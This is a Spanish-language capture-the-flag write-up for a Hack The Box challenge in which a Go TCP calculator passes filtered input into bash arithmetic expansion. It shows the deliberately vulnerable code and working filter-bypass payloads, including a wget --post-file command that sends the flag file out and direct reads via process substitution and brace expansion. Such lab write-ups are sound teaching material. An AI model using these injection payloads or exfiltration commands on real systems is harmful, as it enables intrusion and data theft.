Bashic Calculator
3 minutos de lectura
Se nos proporciona este código fuente en Go:
package main
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"strconv"
"strings"
"time"
)
const (
connHost = "0.0.0.0"
connPort = "1337"
connType = "tcp"
)
func main() { // Used to stablish connections with the clients (not part of the challenge)
fmt.Println("Starting " + connType + " server on " + connHost + ":" + connPort)
l, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Error listening: ", err.Error())
os.Exit(1)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
continue
}
fmt.Println("Client " + conn.RemoteAddr().String() + " connected.")
go minConnection(conn)
go handleConnection(conn)
defer conn.Close()
}
}
func minConnection(conn net.Conn) {
time.Sleep(600 * time.Second)
conn.Close()
}
type LocalShell struct{}
func (_ LocalShell) Execute(ctx context.Context, cmd string) ([]byte, error) {
wrapperCmd := exec.CommandContext(ctx, "bash", "-c", cmd)
return wrapperCmd.Output()
}
func handleConnection(conn net.Conn) {
conn.Write([]byte("CALCULATOR\n"))
for {
conn.Write([]byte("\nOperation: "))
buffer, err := bufio.NewReader(conn).ReadBytes('\n')
if err != nil {
conn.Close()
return
}
op := string(buffer[:len(buffer)-1])
firewall := []string{" ", "`", "$", "&", "|", ";", ">"}
for _, v := range firewall {
opL1 := len(op)
op = strings.ReplaceAll(op, v, "")
opL2 := len(op)
if opL1 > opL2 {
conn.Write([]byte(strconv.Itoa(opL1-opL2) + " '" + v + "' removed\n"))
}
}
shell := LocalShell{}
command := "echo $((" + op + "))"
output, _ := shell.Execute(context.Background(), command)
fmt.Println(conn.RemoteAddr().String() + ": " + command + " " + string(output))
conn.Write(output)
}
}
Análisis del código fuente
Parece mucho, pero básicamente nos permite introducir datos dentro de $((...))
. En Bash, esta sintaxis se utiliza para expresiones aritméticas, por ejemplo:
$ bash -c 'echo $((1+1))'
2
$ bash -c 'echo $((7*7))'
49
La idea es escapar de este entorno aritmético y ejecutar comandos para leer la flag. Sin embargo, no podemos introducir estos caracteres: (espacio),
`
, $
, &
, |
, ;
y >
.
Solución
Vamos a iniciar el servicio:
$ go run main.go
Starting tcp server on 0.0.0.0:1337
Client 127.0.0.1:51147 connected.
$ nc 127.0.0.1 1337
CALCULATOR
Operation: 1+1
2
Una cosa que podemos hacer para escapar del entorno aritmético es usar más paréntesis. Otra cosa es que <
está permitido, por lo que podemos ejecutar comandos usando process substitution (<(...)
). Además, para evitar introducir espacios, podemos usar string expansion ({x,y,z}
).
En un primer intento, probé a extraer el contenido de la flag por HTTP, usando este payload: 1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}
, de manera que el servidor ejecuta:
$((1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}))
Y de hecho, funciona:
Operation: 1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:51168.
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
HTB{f4k3_fl4g_f0r_t3st1ng}
No obstante, la instancia remota no tiene conexión a Internet, por lo que no podemos exfiltrar la flag usando esta técnica incluso si usáramos ngrok
. Por tanto, tiene que haber otra manera.
Si probamos a leer la flag directamente, recibiremos el descriptor de archivo, no la flag (es así como funciona process substitution):
Operation: ))<(({cat,../challenge/flag.txt}
0/dev/fd/63
Pero podemos obtener un payload más simple: cat<../challenge/flag.txt)#(
, de manera que el servidor ejecuta:
$((cat<../challenge/flag.txt)#())
Y funciona también, pero leemos la flag en el lado cliente:
Operation: cat<../challenge/flag.txt)#(
HTB{f4k3_fl4g_f0r_t3st1ng}
Existe un payload similar que también funciona, que es usando string expansion: {cat,../challenge/flag.txt})#(
.
Operation: {cat,../challenge/flag.txt})#(
HTB{f4k3_fl4g_f0r_t3st1ng}
Flag
En este punto, nos podemos conectar a la instancia remota y obtener la flag (que está en /flag.txt
según el Dockerfile
):
$ nc 104.248.173.13 32508
CALCULATOR
Operation: cat</flag.txt)#(
HTB{Ju4nck3r_15_y0ur_n4m3_15nt_1t?}